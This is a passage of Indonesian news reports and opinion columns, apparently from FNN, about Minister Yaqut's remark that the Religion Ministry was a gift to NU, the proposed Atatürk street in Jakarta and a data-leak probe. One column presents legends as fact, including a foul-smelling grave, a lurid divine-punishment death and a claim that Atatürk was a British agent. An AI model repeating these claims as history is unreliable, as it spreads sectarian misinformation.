Oleh Ady Amar *) MENTERI Agama Yaqut Cholil Qoumas buat berita yang tidak sedap. Berita yang memancing tanggapan banyak pihak. Berita yang memelintir sejarah. Ia katakan, bahwa Kementerian Agama (Kemenag) dibuat bukan hadiah buat umat Islam secara keseluruhan tapi khusus untuk Nahdlatul Ulama (NU). Klaim Yaqut tentu tanpa pijakan sejarah yang benar, tapi sejarah yang diada-adakan. Sejarah memang acap dibuat tanpa data penunjang, dan itu pengelabuan sejarah yang sebenarnya. Tentu pengelabuan itu sengaja dibuat sesuai dengan yang diinginkan, dan itu untuk kepentingannya atau kelompoknya sendiri. Sejarah memang sering dihadirkan oleh siapa yang sedang berkuasa, dan akan terkoreksi saat kekuasaan itu berganti. Maka, klaim Yaqut berkenaan dengan Sejarah Kemenag itu tidak perlu muncul keriuhan jika ditunjang oleh data-data yang ada. Bukan penguasaan Kemenag oleh kelompok tertentu (NU), lalu muncul klaim bahwa memang ini dihadirkan atau hadiah untuk kelompok bersangkutan. Yaqut masih "berbicara" hanya bagian dari kelompoknya (NU), meski ia saat ini sebagai Menteri Agama RI. Berbicara hanya untuk kepentingan kelompoknya, dan abai menghadirkan sejarah Kemenag yang sebenarnya. Egoisme Yaqut yang menelikung Sejarah Kemenag yang dipimpinnya, itu sesuai keinginannya. Berbahaya jika tidak diluruskan. Dan pelurusan sejarah itu bagus jika muncul dari jam'iyah NU sendiri. Jika tidak ada yang meluruskan, maka bisa dikatakan klaim bahwa Kemenag ini dihadirkan khusus untuk NU bukan untuk umat Islam secara keseluruhan (apalagi umat beragama lainnya), adalah semata bukan klaim Yaqut yang buta sejarah akan kementerian yang dipimpinnya, tapi klaimnya itu jadi klaim NU atas sejarah dihadirkannya Kemenag memang khusus untuk kelompoknya. Sejarah Tanpa Jejak Sejarah itu bisa dilihat dari jejak yang ditinggalkan, yang lalu diceritakan terus-menerus atau dicatat sebagai realita sebenarnya atas kejadian masa lalu. Mencatat apa yang terjadi dengan sebenarnya, dan lalu dinikmati generasi sesudahnya, itulah sejarah. Sejarah itu bukan kertas kosong, yang bisa diisi/ditulis seenaknya, sekehendak hati dan lalu dipaksakan bahwa yang ditulisnya itu kebenaran. Itulah sejarah yang dimunculkan untuk kepentingan pribadi yang bersangkutan atau kelompoknya, dan itu biasa dilakukan oleh yang sedang berkuasa. Apa yang disampaikan Yaqut, itu seolah sejarah yang dihadirkan menjadi milik para pemenang, yang bisa ditulis sesuai dengan yang dikehendaki. Mencoba dibuatkan jejak sejarahnya meski belepotan di sana-sini. Menag Yaqut tampak asal bicara sejarah Kemenag sesuai versinya, tanpa sedikit dibarengi pengetahuan sejarah kementerian yang dipimpinnya. Jadinya seolah mengolok diri sendiri, dan lalu menyasar induk organisasinya (NU), sebagai pihak yang mengubah sejarah untuk kepentingan kelompoknya. Seperti aji mumpung dan tidak segan mengucap hal yang mestinya tabu diucap orang kebanyakan sekalipun apalagi berlatar menteri. Maka, jika muncul sanggahan berbagai pihak, itu hal wajar. Prof. Haedar Nasir, Ketua Umum Muhammadiyah, sampai perlu mengomentari itu, dikutip dari laman resmi Muhammadiyah, Ahad (25/10). Katanya, klaim kementerian negara lahir diperuntukkan bagi golongan tertentu dan karenanya layak dikuasai oleh kelompoknya. (Itu) suatu narasi radikal yang menunjukkan rendahnya penghayatan keindonesiaan. Lanjutnya, meski Indonesia sudah 76 tahun merdeka, masih saja ada segenap warga dan elite negeri yang masih belum beranjak dewasa dalam berbangsa dan bernegara. Masih saja ada yang belum beranjak "akil-balig". Kegaduhan yang ditimbulkan Yaqut ini, memunculkan komen banyak pihak, yang mempermalukan dirinya. Sampai tingkat mengorek-ngorek pendidikannya yang hanya tamat SMA segala, yang semestinya tidak perlu sampai dibuka auratnya segala, itu jika Yaqut tahu sedikit sejarah kementerian yang dipimpinnya. Terutama tidak perlu sampai ada kegaduhan yang ditimbulkan. Tidak perlu sampai muncul tanggapan politisi PDIP sekelas Kapitra Ampera dengan komen olok-olok. "Kalau sekolah sampai gerbang, ya begitu pemahamannya. Salah-salah." Sepintas Sejarah Kemenag Mohammad Yamin orang pertama yang mengusulkan terbentuknya sebuah Kementerian yang mengurus tentang Agama (Islam). Maka usulannya pada Badan Penyelidik Usaha Persiapan Kemerdekaan Indonesia (BPUPKI), pada 11 Juli 1945, yang ia namakan Kementerian Islamiyah. Usulannya itu tidak mendapat persetujuan dari anggota BPUPKI. Tak menyerah, pada rapat Panitia Persiapan Kemerdekaan Indonesia (PPKI) pada 19 Agustus 1945, Yamin menyatakan hal yang sama tapi lagi-lagi mayoritas menolak dan abstain atas usulannya. Berlanjut di Sidang Pleno Komite Nasional Indonesia Pusat (KNIP), perjuangan untuk membentuk Kementerian Agama bergaung kembali. KNIP merupakan cikal-bakal DPR di akhir tahun 1945. Adalah Saleh Suaidy, tokoh Partai Masyumi, yang juga menjabat sebagai Kepala Sekolah Al-Irsyad Purwokerto, Karesidenan Banyumas, yang secara vokal menyatakan Indonesia butuh suatu Kementerian Agama. "Mengusulkan supaya dalam negeri Indonesia yang sudah merdeka ini janganlah urusan agama hanya disambilkan kepada Kementerian Pendidikan, Pengajaran, dan Kebudayaan saja, tapi hendaklah kementerian yang khusus dan tersendiri," kata Saleh Suaidy, yang pernah mengenyam pendidikan di Sekolah Al-Irsyad Surabaya. Lalu ke Jakarta belajar secara intensif pada Syekh Ahmad Surkati. Kali ini, usulan Suaidy itu mendapat dukungan, di antaranya dari Wakil Presiden Mohammad Hatta, yang menyatakan bahwa pembentukan Kementerian Agama akan menjadi perhatian pemerintah. Dan akhirnya pada tanggal 3 Januari 1946, Kementerian Agama resmi berdiri saat Kabinet dipimpin Perdana Menteri Sutan Sjahrir, yang mengangkat tokoh Partai Masjumi HM Rasjidi sebagai Menteri Agama RI pertama. Rasjidi pernah mengenyam pendidikan di Sekolah Al-Irsyad yang dipimpin Syekh Ahmad Surkati, di Lawang, Jawa Timur. Nama Rasjidi pun "pemberian" Syekh Surkati, yang tadinya bernama Saridi. Dalam sejarahnya HM Rasjidi dikenal sebagai tokoh Muhammadiyah dan Al-Irsyad, dan juga ikut membidani lahirnya Dewan Da'wah Islamiyah Indonesia (DDII) bersama M. Natsir, Sjafroedin Prawiranegara, Anwar Haryono dan tokoh-tokoh eks Partai Masjumi lainnya. Dalam pidato pertamanya, HM Rasjidi mengatakan, bahwa "Kementerian Agama menaungi semua agama yang diakui di Indonesia, dan bukan terbatas agama Islam". Jadi apa yang kerap disampaikan Yaqut, bahwa Kementerian Agama bukan hanya mengurusi agama Islam saja, itu sudah disampaikan HM Rasjidi tujuh puluh lima tahun lalu. Jadi itu bukan hal baru, dan memang tupoksinya demikian. Membaca sejarah hadirnya Kementerian Agama yang benar, dan itu tercatat dalam sejarahnya, tentu tidak bisa dilepaskan dari nama-nama yang tersebut di atas dengan latar belakang Partai Politik dan Organisasi di mana mereka berkhidmat. Pada pembentukan Kemenag saat itu, NU masih dalam bagian dari Partai Islam Masjumi. Maka, klaim-klaim ala Yaqut, yang tanpa pijakan sejarah, itu tidak perlu dihadirkan kembali. Agar olok-olok menyakitkan tentangnya dan lalu menyasar NU, itu tidak perlu harus dimunculkan. (*) *) Kolumnis

Yakut Klarifikasi Ucapannya Soal Kemenag Hadiah Khusus BuatNU

Solo, FNN - Menteri Agama Yaqut Cholil Qoumas mengklarifikasi pernyataannya soal Kementerian Agama merupakan hadiah negara untuk Nahdlatul Ulama (NU), bahwa ucapannya itu semata-mata untuk memantik semangat para santri dan pondok pesantren pada acara internal. "Pertama, saya sampaikan di forum internal, intinya adalah memberi semangat kepada para santri dan pondok pesantren," ujar Yaqut di Solo, Senin. Sebelumnya, pernyataan Yaqut tersebut mengundang berbagai reaksi di media sosial. Bahkan, PBNU tak sepakat dengan apa yang disampaikan pria yang juga menjabat sebagai Ketua GP Ansor itu. Sekjen PBNU, Helmy Faishal Zaini dengan tegas menyatakan bahwa Indonesia merupakan milik semua orang dan Kementerian Agama adalah milik semua agama di Indonesia. Yaqut mengatakan pernyataan itu hanya di forum internal yang seharusnya tidak menjadi masalah, sebab tujuannya hanya memberikan motivasi kepada para santri saja. Bahkan, ia mengibaratkan pernyataannya seperti pasangan suami-istri yang mengatakan bahwa dunia milik berdua. "Itu sama, kira-kira ketika kalian semua ini dengan pasangannya masing-masing melihat rembulan di malam hari, (mengatakan) dunia ini milik kita berdua, yang lain cuma 'ngekos', salah enggak itu? Saya tanya salah enggak itu? Itu karena internal," kata dia. Menag memastikan bahwa Kemenag tidak hanya untuk NU. Buktinya, kata Menag, Kementerian Agama memberikan afirmasi kepada semua agama. "Semuanya diberikan hak secara proporsional. Ormas juga tidak hanya NU saja. Bahkan, di Kemenag ada Dirjen Penyelenggaraan Haji dan Umrah, itu kader Muhammadiyah. Ada juga Irjen Kemenag yang bukan dari NU," kata Menag. Menurutnya, karakter dasar dan jatidiri NU adalah terbuka dan inklusif. NU hadir untuk memberikan dirinya bagi kepentingan dan maslahat yang lebih besar. "Karena keterbukaan dan mengedepankan kemaslahatan itu sifat dasar NU," kata dia. (sws, ant)

Kominfo Segera Panggil KPAI dan Bank Jatim Terkait Dugaan Kebocoran Data

Jakarta, FNN - Juru Bicara Kementerian Komunikasi dan Informatika (Kominfo) RI Dedy Permadi mengatakan pihaknya segera melakukan pemanggilan terhadap pimpinan atau direksi Komisi Perlindungan Anak Indonesia (KPAI) dan Bank Jawa Timur (Jatim) terkait dugaan kebocoran data, baru-baru ini. "Sesuai tugas dan kewenangan, Kementerian Kominfo telah melakukan langkah-langkah secara terukur sesuai dengan aturan perundang-undangan yang berlaku dalam beberapa hari terakhir untuk merespon isu dugaan kebocoran di dua insititusi yaitu KPAI dan Bank Jatim," kata Dedy dalam jumpa pers di Jakarta, Senin. Lebih lanjut, Dedy menjelaskan pemanggilan tersebut adalah langkah lanjutan dari permintaan klarifikasi yang dikirimkan Kominfo kepada KPAI pada Kamis (21/10), untuk meminta data-data yang diperlukan untuk proses investigasi lebih lanjut. Pada hari yang sama, KPAI telah merespon surat klarifikasi tersebut dengan memberikan informasi awal terkait dengan dugaan kebocoran data pribadi di institusinya. Pada Jumat (22/10), Kominfo mengirimkan surat kembali ke KPAI untuk meminta informasi lebih lanjut, karena ada data yang diperlukan untuk investigasi lanjutan. "Data-data yang diperlukan tersebut saat ini masih kami tinggu untuk bisa disampaikan KPAI ke Kominfo. Setelah proses ini, Kominfo akan melakukan pemanggilan kepada pimpinan KPAI, berdasarkan data awal yang telah diterima melalui surat yang sudah dilayangkan ke Kominfo," jelas Dedy. Untuk kasus dugaan kebocoran data Bank Jatim, Dedy mengatakan pihaknya juga telah melakukan langkah pertama yang sama, namun belum ada klarifikasi yang diterima dari bank daerah tersebut. "Kominfo telah mengirimkan surat permintaan klarifikasi kepada Bank Jatim terkait dugaan kebocoran data pribadi. Kominfo saat ini masih menunggu klarifikasi dari Bank Jatim," kata Dedy. "Di saat bersamaan, Kominfo juga melakukan pemanggilan kepada direksi atau pimpinan Bank Jatim. Ini sesuai prosedur yang biasa kita lakukan terkait isu atau dugaan kebocoran data pribadi," ujarnya menambahkan. Sebelumnya, data pengaduan dalam jaringan (online) KPAI diduga bocor dan diperjualbelikan di situs gelap RaidForums. Dalam pekan yang sama, PT Bank Pembangunan Daerah Jawa Timur Tbk (Bank Jatim) juga diterpa adanya kabar kebocoran data nasabah perusahaan. (mth)

Mustofa Kemal Attaturk Tidak Sekuler

Oleh Tony Rosyid Lagi-lagi, Indonesia gaduh. Beberapa tahun ini, negeri ini selalu diterpa gelombang kegaduhan. Bangsa yang dulu tenang, damai, nyaman, mendadak berubah situasinya menjadi bangsa yang saling curiga, suka menyerang satu sama lain, dan terus mengalami kegaduhan. Belum reda isu Jl. Mustafa Kemal Attaturk, kini ramai soal pernyataan Menag bahwa kementerian Agama itu hadiah buat NU, bukan buat umat Islam secara umum. Gaduh lagi! Tulisan ini hanya akan bicara soal Mustafa Kemal Attaturk. Ia adalah seorang perwira militer yang menjadi presiden pertama Turki. Nama aslinya adalah Ghazi Mustafa Kemal Pasha. Lahir di Thessaloniki 12 Maret 1881, dan meninggal di Dolmabahce Istambul 10 Nopember 1938. Presiden pertama Turki ini dimakamkan di Ankara tahun 1953. Beberapa tahun lalu saya sempat berkunjung ke makamnya. Bagi mahasiswa UIN, IAIN dan STAIN, sepak terjang dan pemikiran Mustafa Kemal Attaturk pasti tidak asing. Di semester awal ada mata kuliah yang mengkaji sejumlah tokoh Islam, salah satunya adalah pendiri negara Turki itu. Mustafa Kemal Attaturk dikenal sebagai tokoh sekuler. Bahkan dinobatkan sebagai bapak sekularisme. Selama ini, kita memahaminya begitu. Benarkah Mustafa Kemal adalah seorang sekuler? Saya ingin mengawali diskusi ini dengan arti sekuler. Biar clear. Sekuler itu suatu gagasan yang memisahkan agama dari negara. Intinya, negara gak ngurusi agama. Gak melarang, juga gak mendukung. Agama menjadi urusan privat, dan tidak diurus negara. Anda mau beragama atau tidak, negara gak peduli. Anda punya tuhan atau ateis, bagi negara itu gak penting. Itu urusan pribadi anda. Negara gak mau ikut campur. Inilah makna sekuler. Indonesia bukan negara sekuler. Sebab, ada kementerian agama. Soal kementerian ini hadiah buat siapa? Itu soal lain. Amerika, Australia, sejumlah negara Eropa dan beberapa negara Asia adalah negara-negara sekuler. Negara-negara itu gak ikut campur soal agama. Di negara-negara itu, hidup beragama punya kebebasan. Selama tidak menimbulkan gangguan kepada publik, monggo. Mau pakai jilbab lengkap dengan cadar, pakai kalung salib, bangun tempat ibadah, bebas. Silahkan saja menjalankan agama, asal tidak mengganggu hak orang lain. Simple! Saya pernah ke Singapora, Hongkong, Macau, Amerika dan Kanada. Umat beragama di sana punya kebebasan menjalakan ajaran agamanya, dan negara menjamin hak-hak mereka. Apakah Turki di bawah kekuasaan Mustafa Kemal Attaturk memberi kebebasan beragama sebagaimana negara-negara sekuler tersebut? Tidak! Jilbab dilarang, adzan diubah bahasanya, masjid dijadikan museum, semua yang berbau Islam tidak diperbolehkan ada di Turki. Apakah ini sekuler? Tidak! Sekuler itu memisahkan agama dari urusan negara. Bukan melarang orang menjalankan ajaran agamanya. Jadi, kalau selama ini orang bilang bahwa Mustafa Kemal Attaturk bapak sekuler, itu salah kaprah. Yang benar dia memusuhi agama. Dalam konteks ini adalah Islam. Apakah tokoh seperti ini akan menjadi nama jalan di ibu kota Indonesia yang notabene sangat menghargai dan menjunjung tinggi agama? Inilah yang menunai protes banyak pihak. Protes tidak hanya oleh warga Jakarta, tapi telah menjadi protes nasional. Kabarnya, Gubernur DKI telah mendapat banyak surat dari berbagai elemen masyarakat: baik organisasi, komunitas maupun daerah. Intinya: mereka menolak Mustafa Kemal Attaturk dijadikan nama jalan di Jakarta. Menamai jalan tidak seperti menamai jenis makanan. Ada regulasinya. Ini diatur dalam Keputusan Gubernur No 28 Tahun 1999 tentang Pedoman Penetapan Nama Jalan, Taman dan Bangunan. Di pasal 7 (2) huruf c angka 1 berbunyi: bahwa nama jalan yang diusulkan tidak menyinggung perasaan salah satu golongan atau agama/kepercayaan. Masyarakat berharap Gubernur DKI selalu berpedoman pada Kepgub No 28 tahun 1999 ini. Soal aturan, gubernur DKI terkenal paling ketat, patuh dan disiplin. Jika mau bertukar nama jalan, ada baiknya dipilih nama tokoh lain yang tidak menimbulkan potensi kegaduhan, atau nama kota. Misal Jl. Istambul. Sebagaimana nama Cassablanca. Ini nama kota di Maroko yang dijadikan nama jalan di Jakarta, sebagai barter nama Soekarno di Maroko. Ini akan jauh lebih elegan dan bijak. Pengamat politik dan pemerhati bangsa.

Hikmahanto: Peran Generasi Muda Penting Majukan Hukum Internasional

Jakarta, FNN - Guru Besar Hukum Internasional dari Universitas Indonesia Prof Hikmahanto Juwana menilai peranan generasi muda penting dalam membantu memajukan bidang studi hukum internasional di Tanah Air. "Masa depan Indonesia, Fakultas Hukum Universitas Indonesia, fakultas hukum di Tanah Air, dan bidang studi hukum internasional terletak pada generasi muda," kata dia pada webinar bertajuk "Masa Depan Pendidikan Hukum Internasional dalam Perspektif Pengajar Muda" yang dipantau di Jakarta, Senin. Oleh sebab itu, katanya, jika para generasi muda di Tanah Air tidak siap maka bisa berimbas atau berdampak negatif pada pembangunan Indonesia, fakultas hukum, dan bidang studi hukum internasional. Hikmahanto mengatakan jika sebuah universitas menghadirkan pengajar muda bukan berarti tidak melihat arti penting dari hukum internasional sehingga tidak memunculkan pengajar senior. Akan tetapi, ujarnya, hal tersebut salah satu upaya agar pengajaran bidang studi hukum internasional tidak terlewatkan oleh para pengajar muda. "Para pengajar muda harus diberi ruang dan kesempatan agar mereka memikirkan hal-hal strategis di masa depan," kata Rektor Universitas Jenderal Achmad Yani tersebut. Ia mengatakan pada tahun 1957 Perdana Menteri Indonesia Djuanda Kartawidjaja mendeklarasikan Indonesia sebagai negara kepulauan. Pada saat itu yang memikirkannya adalah sosok anak muda, yakni Mochtar Kusumaatmadja. "Dia sudah memikirkan sejak muda dan diperjuangkan hingga akhirnya terealisasi meskipun saat itu ia sudah tidak muda lagi," kata dia. Namun, katanya, yang menjadi poin penting adalah perjuangan luar biasa dari sosok anak muda bernama Mochtar Kusumaatmadja dalam memperjuangkan kemajuan Indonesia hingga akhirnya diakui dunia internasional. "Jadi inilah yang kita harapkan kepada anak-anak muda di bidang hukum internasional agar mereka memberikan kontribusi bagi ilmu pengetahuan," ujarnya. (mth)

Menyoal Jalan Ataturk

Oleh Dr Ahmad Sastra *) Bogor, FNN - Setelah membaca berita soal rencana pengusulan nama Mustafa Kemal Ataturk oleh Duta Besar Indonesia untuk Ankara, Muhammad Iqbal dalam acara Ngopi Virtual, Jumat (15/10/2021) untuk mengganti nama jalan di daerah Menteng, Jakarta yang rencananya akan diresmikan awal tahun 2022 yang jadi sorotan publik dan menimbulkan kontroversi dari sejumlah pihak, saya jadi teringat sebuah buku karya Julies Archer. Buku itu berjudul Kisah Para Diktator, Biografi Politik Para Penguasa Fasis, Komunis Despotis dan Tiran yang diterbitkan oleh Penerbit Narasi, 2017. Buku ini berisi mengenai kisah para diktator yang pernah memimpin di negara-negara, antara lain : Adolf Hitler, Lenin, Duvalier, Fidel Castro, Batista, Mustafa Kemal Ataturk, Stalin, Mao Tse Tung, Kruschev, Chiang Kai Shek, Francisco Franco, Gamal Abdul Naser, Soekarno. Dialah Presiden pertama Republik Turki Sekuler. Ketika Mustafa Kemal berkuasa di Turki, dia menjadi diktator pertama di dunia Islam. Habis semua umat Islam dalam genggaman tangannya. Tangannya berlumuran darah umat Islam yang menghendaki agar Khilafah Utsmani kembali menghiasi bumi Islambul. Mustafa Kemal juga yang menghapus segala bentuk hukuman syariah. Dia menghapus hukum potong tangan bagi pencuri, hukum rajam bagi pezina, hukum qishash bagi pembunuh, lalu digantinya dengan hukuman penjara. Kemal Ataturk adalah tokoh sekulerisme di Turki yang telah berdosa besar memisahkan khilafah Islamiyah yang telah berlangsung selama 1400 tahun. Pemikiran sekuler inilah yang telah memporak-porandakan persatuan umat Islam di dunia. Melalui persekongkolan jahat dengan negara-negara imperialis, Ataturk berkhianat kepada Islam dan berafiliasi kepada negara-negara penjajah. Mustafa Kemal Attaturk dari Turki. Terlahir dengan nama Mustafa, sementara kata Attaturk dipilihnya sebagai penyempurna kediktatorannya, diktator ala pemimpoin sekuler radikal, Ia manusia besar sekaligus sinting, kata Jules Archer. Ia membakar puluhan warga Yunani dan membuangnya ke laut. Memerintah sebagai diktator mutlak. Menggantung para penentangnya. Sejak kecil wataknya sombong, dingin dan angkuh, ‘Karena agama, Turki tenggelam dalam perbudakan feodalisme’, teriaknya suatu saat. Mustafa Kamal Attaturk adalah agen Inggris pengkhianat Khilafah. Perilakunya biadab, kejam, tukang mabok dan membangkang agama. Menghapus kekhalifahan, mengusir sang Khalifah, bahkan seluruh keluarga Ottoman diusir. Bagi yang menentang, langsung dibunuhnya. Ia menghapus bahasa Arab dan menutup gereja, menjadikan masjid sebagai lumbung padi. Kemal Attaturk lahir di Selanik (sekarang Thessaloniki, Yunani), 19 Mei 1881. . Penyakit sirosis hati (liver) yang menggerogoti kesehatannya mengantarkan kepada kematiannya pada tahun 1938 pada usia 57 tahun. Selama hidupnya menjadi pemabok berat. Inilah bapak sekuler turki yang telah berperan dalam kehancuran institusi Islam di Turki. Mustafa Kemal menggawangi organisasi persatuan dan kemajuan yang melawan dan menjadi oposisi Daulah Ustmani, ia bekerjasama dengan Eropa dalam usahanya menghapus kakhalifahan. Ia berhasil masuk Istambul, kemudian melucuti dan menyingkirkan Abdul Hamid II. Pada tanggal 3 Maret 1924, badan legislatif Turki mengangkat Attaturk sebagai presiden Turki pertama. Sebagai sosok yang mengidap Islamophobia, dan dicap sebagai bapak sekulerisme Turki, banyak dosa Ataturk bagi dunia muslim. Tentu saja dosa terbesar dia adalah menghapus sistem khilafah Islam yang telah menyatukan umat Islam dan menjadi benteng bagi kekuatan umat Islam. Khilafah adalah ajaran Islam warisan Rasulullah, namun diganti oleh Ataturk dengan sistem demokrasi sekuler ala Barat yang anti Islam. Tak hanya itu, Kemal juga menghapus hukum waris, menyamaratakan ahli waris laki-laki dengan ahli waris perempuan, menghapus hukum hijab bagi muslimah, mengubah Masjid Aya Soffia menjadi museum, mengganti kalimat adzan dengan bahasa Turki, menggalakkan minuman khamr di tempat umum, dan mengubah majelis-majelis ilmu dengan tempat lokalisasi pelacuran dan diskotik. Tak hanya mengubah sistem pemerintahan Turki yang Islami menjadi sekuler, Mustafa Kemal juga memiliki sifat sombong sebagaimana watak Fir’aun. Dalam suatu kesempatan, Mustafa Kemal berpidato di hadapan para tentaranya: “Kini siapa yang berkuasa, aku atau Tuhan?” Dengan perasaan takut, para tentara itu serentak mengucapkan: “Andalah paduka yang kami takutkan sekarang." Mendengar jawaban dari para tentara itu, senyum kesombongan mengukir di bibir Mustafa Kemal. Tapi semua itu berakhir pada Oktober 1938, ketika sakit menderanya hingga ajal menjemputnya dengan penuh hina dina. Dokter pribadinya memberinya salep dan dioleskan di kulitnya yang luka karena garukan kukunya. DR. Abdullah ‘Azzam dalam bukunya Al- Manaratul Mafqudah, menjelaskan proses ajal Mustafa Kemal Ataturk yang mengerikan. Menurut DR. Abdullah ‘Azzam, cairan berkumpul di perutnya secara kronis. Ingatannya melemah, darah mulai mengalir dari hidungnya tanpa henti.Untuk mengeluarkan cairan dalam tubuhnya, tim dokter menusukkan jarum di perutnya. Tapi perutnya malah membusung dan kedua kakinya bengkak. Wajahnya menjadi pucat pasi dan terlihat seperti tengkorak. Rencana penyematan jalan Ataturk di Jakarta tentu saja memberikan indikasi dan penegasan simbol sekularisme pemerintah Indonesia. Karena itu tidaklah layak penggunaan nama Ataturk sebagai salah satu nama jalan di Indonesia, sebab sekulerisme sendiri adalah paham yang menyelisihi Islam. Dengan menyematkan nama Kemal Attaturk yang jelas sebagai tokoh berpaham sekulerisme, maka selain menyelisihi fatwa MUI, rencana ini akan menimbulkan berbagai kegaduhan di kalangan umat Islam dan rakyat pada umumnya, padahal masih sangat banyak tokoh-tokoh yang lebih layak dipilih dan tidak menimbulkan kegaduhan. Secara aqidah, penyematan nama tokoh sekuler ini akan memicu paham sekulerisme di kalangan generasi muda muslim di Indonesia, padahal paham ini selain akan merusak aqidah juga akan melahirkan berbagai kerusakan kehidupan berbangsa dan bernegara. Paham sekulerisme adalah salah satu paham yang telah difatwakan haram dalam Fatwa Majelis Ulama Indonesia Nomor : 7/MUNAS VII/MUI/11/2005 Tentang Pluralisme, Liberalisme Dan Sekularisme Agama dalam Musyawarah Nasional MUI VII, pada 19-22 Jumadil Akhir 1426 H / 26-29 Juli 2005 M. Paham sekulerisme menurut fatwa MUI didefinisikan sebagai paham yang memisahkan urusan dunia dari agama dimana agama hanya digunakan untuk mengatur hubungan antara individu dengan tuhan, sedangkan hubungan dengan sesama manusia diatur hanya dengan kesepakatan sosial. Di Turki, negeri asalnya saja, semangat perubahan di dalam negerinya sudah beralih kepada tokoh-tokoh Islam, termasuk upaya Erdogan untuk mengembalikan Haghia Sophia menjadi masjid setelah 85 tahun menjadi museum. Sementara di negeri mayoritas muslim ini justru sebaliknya, malah ingin menggunakan nama tokoh sekuler untuk menjadi jalan di Jakarta. Jika Anda pergi ke museum Etnagrafi di Turki untuk melihat makamnya, para pemandu museum akan menyemprotkan parfum ke pakaian Anda. Sebab jika sudah mendekati makamnya pasti akan tercium bau yang lebih busuk dari bangkai. Pihak museum pun mengakui, jika sumber bau busuk itu bukan dari WC atau septictank yang bocor, melainkan dari makam Mustafa Kemal Attaturk. Kisah ini memberikan i’tibar. Seperti kata beberapa ulama, kalau kamu benci dan mencoba menjegal Khilafah, maka kamu akan melawan Allah. Lihat, kematian yang mengerikan menimpa Mustafa Kemal Attaturk, si penjegal dan penghancur Khilafah Utsmani. Aroma bau yang terus keluar dari makam Mustafa Kemal, adalah cara Allah memperingatkan kepada siapa saja, yang mencoba sombong dengan kekuasaannya dan melawan syariat-Nya, maka dia akan mendapatkan kematian yang terhina. Tentu saja umat Islam di Indonesia wajib menolak tegas rencana pemberian nama jalan di Jakarta dengan menggunakan nama Kemal Attaturk, sebab lebih banyak mudaratnya dari pada manfaatnya bagi umat Islam dan bangsa secara umum. Kedua, sebaiknya pemerintah membatalkan rencana ini karena akan menimbulkan kontroversi dan kegaduhan di kalangan masyarakat. Penulis adalah Ketua Forum Doktor Muslim Peduli Bangsa.

Menag Yakut Jangan Arahkan NU “Berladang” Hanya di Kemenag

By Asyari Usman MENTERI Agama Yaqut Cholil Qoumas jelas keliru besar. Dan merendahkan NU ketika mengklaim bahwa Kemenag adalah hadiah untuk NU. Kasihan warga nahdiyin. Kalau hanya diberi kesempatan untuk memanfaatkan peluang di Kementerian Agama saja. Sempit sekali. Seharusnya warga NU itu menguasai kekayaan Indonesia. Orang NU harus memanfaatkan kandungan bumi negeri ini. Harus ikut mengelola tambang migas, emas, nikel, batubara, dlsb. Terbuka luas untuk NU. Kalau hanya mengolah Kemenag, berapalah anggarannya. Paling banyak 66 triliun (uang APBN 2021). Itu pun untuk seluruh Indonesia. Untuk berbagai program pula. Susahnya, tidak mudah juga “memanfaatkan” anggaran 66 T itu. Banyak orang yang lihat. Kiri-kanan diawasi. Kalau sekadar menaikkan jumlah kekayaan pribadi-pribadi, mungkin masih bisalah. Tapi kalau untuk meningkatkan taraf hidup warga NU semuanya, hampir tak mungkin. Karena itu, Pak Yakut jangan mempersempit peluang untuk NU menjadi tertuju ke Kemenag saja. Sudah itu, klaim Kemenag hadiah untuk NU sekarang ditolak sendiri oleh petinggi ormas ini. Sekjen NU Helmy Faishal Zaini menegaskan bahwa Kemenag adalah hadiah untuk seluruh umat Islam. Pak Sekjen benar seratus persen. Lebih arif ketimbang Yakut. Pak Helmy tidak setuju NU hanya terfokus ke Kemenag. Ada bidang-bidang lain yang harus digeluti oleh para nahdiyyin. Tidak hanya menadahkan tangan ke Kemenag. Sangat tidak terhormat kalau NU hanya diarahkan untuk “berladang” di Kemenag saja. NU harus jauh lebih besar dari Kemenag. Orang-orang NU selayaknya memiliki usaha di berbagai sektor termasuk pertambangan, manufaktur, retail, dll. Di masa pandemi ini bahkan bisa mendirikan usaha impor vaksin, alat tes PCR, alkes atau yang lain-lainnya. Yakut tak mendidik warga NU bila hanya memanfaatkan peluang di Kemenag. Dan juga bisa berbahaya. Bahayanya apa? Tentu masih ingat ketika seorang politisi asal NU terjerat kasus korupsi karena memanfaatkan peluang di Kemenag. Beliau masuk penjara gara-gara memperjualbelikan jabatan yang berada di bawah lingkup kewenangan Kementerian. Sampai-sampai KPK waktu itu menemukan uang tunai 180 juta rupiah dan 30,000 dollar AS di laci Pak Menteri Lukman Hakim Saifuddin. Pastilah jagad NU dibuat malu oleh kasus ini. Jadi, jangan sampai terulang lagi. Orang NU pasti tak mau ada kejadian yang mencoreng wajah mereka. Sangat mengherankan kalau Pak Yakut mendorong dominasi NU di Kemenag. Warga NU perlu waspada. Jangan-jangan pernyataan Yakut bahwa NU “berhak” memanfaatkan peluang di Kemenag itu adalah jebakan untuk memojokkan ormas besar ini. Tampaknya pimpinan NU perlu melakukan Tes Asli NU (Tes Anu) untuk Pak Yakut.[] (Penulis wartawan senior FNN)

Stop Ashobiyah Qaumiyah

By M Rizal Fadillah UNGKAPAN Kyai Said Aqil Siraj soal misi penguasaan oleh NU untuk berbagai institusi keagamaan apakah MUI, KUA, Masjid bahkan sampai pada Khatib Jum'at di samping merupakan hak dan kebebasan untuk berbicara, juga sangat tidak bijak bahkan menyinggung banyak pihak. Umat Islam bukan hanya NU. Ungkapan seperti ini menjadi ciri dari kaum radikalis "ashobiyah qaumiyah"--egosentrisme kelompok. Kini Menteri Agama Yaqut Cholil Qoumas juga menyampaikan hal yang sama yakni cara pandang radikal dan intoleran dengan menyatakan bahwa Kemenag adalah hadiah untuk NU karenanya dapat memanfaatkan banyak peluang di Kemenag hanya demi kepentingan NU. Pandangan berbahaya ini dapat menyebabkan semua elemen baik jabatan maupun pendanaan dialokasikan untuk kepentingan satu pihak saja. Ashobiyah qaumiyah di tingkat pergaulan berbangsa dan bernegara adalah sikap radikal dan intoleran yang harus dicegah. Esensinya adalah anti kemajemukan dan anti kebhinekaan. Ketika kini dicanangkan program washatiyah atau moderasi beragama maka cara pandang ashobiyah qaumiyah seperti ini adalah awal yang harus dibenahi. Lord Acton pernah mengingatkan "power tends to corrupt and absolute power corrupt absolutely"--Kekuasaan itu cenderung korup dan kekuasaan mutlak dipastikan korupsi--Kekuasaan yang dipegang jika tidak waspada dan terkendali dapat menyebabkan korupsi kekuasaan dan kekayaan. Disinilah pentingnya koreksi dan sadar diri. Organisasi keagamaan harus terus ber-amar ma'ruf dan ber-nahi Munkar. "corrupt absolutely" adalah kemungkaran yang harus dibasmi. NU-isasi 